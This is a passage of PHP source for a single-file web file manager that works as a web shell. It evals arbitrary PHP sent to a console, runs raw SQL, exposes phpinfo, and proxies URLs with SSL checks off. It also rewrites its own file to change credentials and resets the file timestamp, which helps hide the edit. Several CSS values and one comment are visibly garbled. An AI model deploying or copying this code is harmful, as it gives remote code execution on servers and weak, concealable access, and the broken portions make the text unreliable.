			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag